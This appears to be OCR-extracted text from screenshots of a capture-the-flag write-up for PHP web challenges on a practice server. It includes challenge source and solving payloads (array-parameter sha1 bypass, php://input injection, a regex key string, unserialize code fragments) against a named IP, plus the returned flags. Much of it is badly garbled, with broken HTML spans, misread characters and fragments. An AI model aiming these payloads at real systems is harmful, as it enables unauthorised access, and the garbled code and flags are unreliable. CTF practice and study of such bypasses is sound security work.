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highlight file( );
[ ] = urldecode(

F#dH geidshatl, & Aunamefllpasswd#R %4

payload: http://120.24.86.145:8002/web7/?uname[ ]=1&id=margin
post: passwd[]=2

IKf5flag

POST http://120.24.86.145:8002/web7/?uname[]=1&id=margin Params Save

HTML =
<span style="color: #0UYUBB">shal</span>
<span color: #@@770@">(</span>

<span color: #B@BOBB">$_GET</span>
<span color: #80770@">[</span>

<span style="color: #DD@@@8">'uname'</span>
<span style="color: #207708">])&nbsp;===&nbsp;</span>
<span : #@08@BB">shal</span>
<span 1 #OO7708">(</span>

<span : #@0BBBB">$ POST</span>
<span style="color: #@07708">[</span>

<span style="color: #DDB@0&"> passwd’</span>
<span : #807700">])&amp; (</span>
<span : #00BOBB">$_GET</span>
<span : #007700">[</span>

<span style="color: #DD@@@@">'id'</span>
<span style="color: #887708">]==</span>

<span : #DDOeea"> 'margin’ </span>
<span style="color: #807708">))

<br />

<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(
</span>

<span style="color: #DD2@@@">'Flag:&nbsp;"</span>
<span style="color: #B0778@">.</span>
<span style="color: #@080BB">$flag</span>
<span style="color: #807700">);
<br />
<br />&nbsp;&nbsp;&nbsp;&nbsp;else
<br />
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp
</span>
<span style="color: #DDB@E&"> sorry!’</span>
<span style="color: #@07708">;
<br />
<br />}
<br />
</span>
<span style="color: #@0BG@BB">?2&gt;</span>
<jspanﬂ
</code>Flag: flag{HACK_45hhs_213sDD}
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extract( );

(! (%$ac))

{

= trim(file_get contents( )
( )




Fphp:/input

payload: http://120.24.86.145:8002/web8/?ac=aaa&fn=php://input

postdata: aaa

5flag
POST v http://120.24.86.145:8002/web8/?ac=aaakfn=|
Pretty Raw Preview HTML ]
1/ <span style="color: #UW//0Y">=Hnbsp;</span>
18 <span style="color: #@088BB">trim</span>
19 <span style="color: #807788">(</span>
20 <span style="color: #00@@BB">file_get_contents</span>
21 <span : #007700">(</span>
22 <span : #000PBB">$fn</span>
23~ <span style="color: #007788">));
24 <br />if&nbsp;(
25 </span>
26 <span style="color: #0000BB">$ac&nbsp;</span>
27 <span style="color: #0@7708" =&nbsp;</span>
28 ¢<span style="color: #00BBBB">$f</span>
29 - <span style="color: #0807768">)
30 <br />{
31 <br /»echo&nbsp;
32 </span>
33 <span : #DDOOBa" >"&1t;p&gt; This&nbsp;is&nbsp;flag:"&nbsp;</span>
34 <span : #007788">.</span>
35 <span style="color: #DD88@A">"&nbsp;</span>
36 <span style="color: #00@@BB">$flag</span>
37 <span : #DD00eR">&1t; /p&gt;"</span>
38 - <span style="color: #007760">;
39 <br />}
49 <br /relse
a1 <br />{
42 <br />echo&nbsp;
a3 </span>
a4 <span style="color: #DD88@R@">"&1lt;pdgt;sorry!&lt;/pigt;"</span>
45 = <span style="color: #007760">;
a6 <br />}
a7 <br />}
a8 <br />
49 </span>
50 - <span style="color: #@088BB">28&gt;
51 <br />
52 </span>
53 </span>
54  </code>

55 «<p>»This is flag: flag{3cfb7a9@fcBde31}</p>
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http://120.24.86.145:8002/web10/ ?id=keylkey2222key: /3/4keya.

HTML =

<br />

</span>

<span style="color
<span style="color
<span style="color
<span style="color:

<br />

</span>

<span style="color
<span style="color
<span style="color
<span style="color
<span style="color:
<span style="color
<span style="color:
<span style="color
<span style="color
<span style="color
<span style="color
<span style="color:
<span style="color
<span style="color

<br />if(&nbsp;
</span>
<span style="color: #B88@8BB">$IM&nbsp;</span>
<span style="color: #887708">){&nbsp

<br />&nbsp;&nbsp;die(

</span>
<span style="color
<span style="color
<span style="color
<span style="color:
<br />}
<br />
</span>

<span style="color: #B87788">);

#QOOOBB" >$key</span>

#007708" >=</span>

HDDEBOE" > " KEY{*#*# ks sbhtdhktbhhas bbbk hk k635" ¢ [opans
#ge7708">;

#B00BBB" >$IM</span>
#007700" >=&nbsp;</span>
#000OBB" >preg_match</span>
#007708">(</span>
#0DDB0OR">" /key. *key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"</span>
#007700">,&nbsp; </span>
#0OOOBB">trim</span>
#007708">(</span>
#0000BB">$_GET</span>
#807700">[ </span>
#DDoeee">"id"</span>
#007700">]),&nbsp;</span>
#B00BBB" >$match</span>
#007700">);

#DD@0ea" > "key&nbsp;is:&nbsp; '</span>
#007708">.<¢/span>

#0DOOBB" >%key</span>

#007700">);

<span style="color: #@@@OBB">?&gt;</span>

</span>

</coderkey is: KEY{@xBSIOPh55@afc}
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Something error:
404 Not Found

No such file or directory.

Please check or try again later.

Generated by kangle/3.5.5.
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1 requests | 555 B transferred | Fi...

[w ﬂ Elements Conscle  Sources  Metwork  Performance  » |
® O | ™ ¥ | View = = [ Groupbyframe | [J Preservelog [J Disable cach
[Fitter | O Hide data URLs

)| x+R 15 CSS Img Media Font Doc WS Manifest Other

60 ms 80 ms 100 ms

X | Headers | Preview Response Cookies Timing
¥ General
Request URL: http://120.24.86.145:8802/webl
3/
Reguest Method: GET
Status Code: @ 280 OK
Remote Address: 128.24.56.145:3092
Referrer Policy: nc-referrer-when-downgrade

¥ Response Headers VIEW source
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Date: Wed, 31 Jan 2818 @7:12:57 GMT
Keep-Alive: timeout=6@
Server: nginx
Transfer-Encoding: chunked

¥ Request Headers view source
Accept: text/html,application/xhtml+xml,applic
ation/xml;g=@.9,image/webp,image/apng,*/*;q
=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9,en-US;g9=08.8,¢e
n;gq=e.7
Cache-Control: max-age=8
Connection: keep-alive
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XEBAEEX M, KRI—/TH /resusl.php
HIRE:
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GET v http://120.24.86.145:8002/web13/resusl.php?x=admin Params Save Vv

Authorization Headers Pre-request Script Tests Cookies Code
TYPE
Inherit auth from parent v

This request is not inheriting any authorization helper at the moment. Save it in a collection to use the parent's authorization helper.
The authorization header will be automatically

generated when you send the request. Learn more
about authorization

Body Cookies (2) Headers (7) Test Results Status: 200 0K Time: 161ms  Size: 1.19 MB
Pretty Raw Preview HTML v 5 Q

i 1~ khtml>

2 <title>The result</title>

3- <body bgcolor="#ABABAS">

4 <h2>The Result</h2>

5 <hr \>

(4 <div align="center">»

7 RET!

8 <br>flag(ctf_0098_lkji-s)

9 <br>
10 <a href=http://www.e-wolf.top/cip/cip.php?ip=1.81.100.16>1.81.106.10</a> = = ----------------—~-~—-~—~—~-~—~——~———~—— 17-1@-11 @89:23:38am

11 <br>
12 <a href=http://www.e-wolf.top/cip/cip.php?ip=112.165.1.1425119.165.1.142<¢ /8>  cocmmmmmmm oo o 17-10-11 12:19:13pm

13 <br>
14 <a href=http://wwi.e-wolf.top/cip/cip.php?ip=119.165.1.142>119.165.1.142¢/a> = = -=-----ommmmmmmmmmi oo 17-16-11 12:19:19pm

15 <br> p =5 : ! )
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->method =
->args =

->_conn();
{
) = func_get_args();
sprintf(
->__query( )
I= ) A

->_ die( sprintf( ->username, ->role) );

->_ die( )5

r ) = func_get_args();
strtolower(trim(mysql _escape_string(
strtolower(trim(mysql escape_string(

= sprintf(




stripos(

)

->role ==

highlight_file(

{

k)

(! ->conn)
->conn = mysql_connect( 5

mysql_select_db( ) ->conn);

( )

->__query(

}

mysql_query(
mysql_query(

= @mysql_query( )s
) 1
@mysql fetch_object(

{

->_ close();

header (
( json_encode(

{

mysql close( ->conn);




(in_array( ->method, ,
@call user_ func_array( ->method),

{

->  die(

{

¢ ->args =5 ) {
->args[+] = strtolower(trim(mysql_escape_string(

( [

@unserialize(

{
HITCON(
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